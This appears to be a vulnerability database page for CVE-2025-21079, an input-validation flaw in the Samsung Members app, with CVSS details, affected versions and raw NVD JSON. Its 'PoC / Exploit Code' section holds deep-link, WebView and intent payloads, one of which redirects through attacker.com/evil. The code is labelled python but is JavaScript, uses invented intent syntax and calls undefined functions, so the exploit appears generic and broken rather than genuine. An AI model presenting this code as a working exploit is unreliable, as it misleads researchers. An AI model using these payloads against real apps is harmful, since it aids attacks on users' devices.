Security Vulnerability Report
中文
CVE-2025-21079 CVSS 7.1 HIGH

CVE-2025-21079

Published: 2025-11-05 06:15:34
Last Modified: 2025-11-07 15:46:22

Description

Improper input validation in Samsung Members prior to version 5.5.01.3 allows remote attackers to connect arbitrary URL and launch arbitrary activity with Samsung Members privilege. User interaction is required for triggering this vulnerability.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H

Configurations (Affected Products)

cpe:2.3:a:samsung:members:*:*:*:*:*:*:*:* - VULNERABLE
Samsung Members < 5.5.01.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-21079 PoC - Samsung Members URL Validation Bypass // This PoC demonstrates how a malicious URL can trigger arbitrary activity launch // Attack Vector 1: Deep Link Injection // Attacker crafts a malicious URL targeting Samsung Members const maliciousUrl = 'samsung-members://'; const arbitraryActivity = 'com.samsung.android.app.samsungmembers/.malicious.Activity'; const exploitUrl = `${maliciousUrl}?url=${encodeURIComponent(arbitraryActivity)}`; // Attack Vector 2: WebView-based Exploitation // If WebView is used, attacker can inject JavaScript to bypass URL validation const webviewExploit = ` <script> // Bypass input validation var payload = 'samsung-members://' + encodeURIComponent('http://attacker.com/evil'); window.location.href = payload; </script> `; // Attack Vector 3: Intent-based Attack // Using intent scheme to launch arbitrary components const intentPayload = ` <intent> <action>android.intent.action.VIEW</action> <data>scheme="samsung-members" host="validation.bypass" /> <component name="com.samsung.android.app.samsungmembers/.ProtectedActivity" /> </intent> `; // Detection Code function detectVulnerability() { const testUrl = 'samsung-members://test?redirect=javascript:alert(1)'; try { // Check if URL validation is insufficient return !validateUrl(testUrl); } catch (e) { return true; } } // Mitigation: Implement proper URL validation before launching activities function validateUrl(url) { // Should validate: scheme, host, path, and prevent arbitrary activity launch return url && url.startsWith('samsung-members://') && !containsForbiddenPatterns(url); }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-21079", "sourceIdentifier": "[email protected]", "published": "2025-11-05T06:15:34.227", "lastModified": "2025-11-07T15:46:21.677", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper input validation in Samsung Members prior to version 5.5.01.3 allows remote attackers to connect arbitrary URL and launch arbitrary activity with Samsung Members privilege. User interaction is required for triggering this vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:samsung:members:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.5.01.3", "matchCriteriaId": "24656E89-FEB3-4A82-BC26-DFE849A75DDF"}]}]}], "references": [{"url": "https://security.samsungmobile.com/serviceWeb.smsb?year=2025&month=11", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}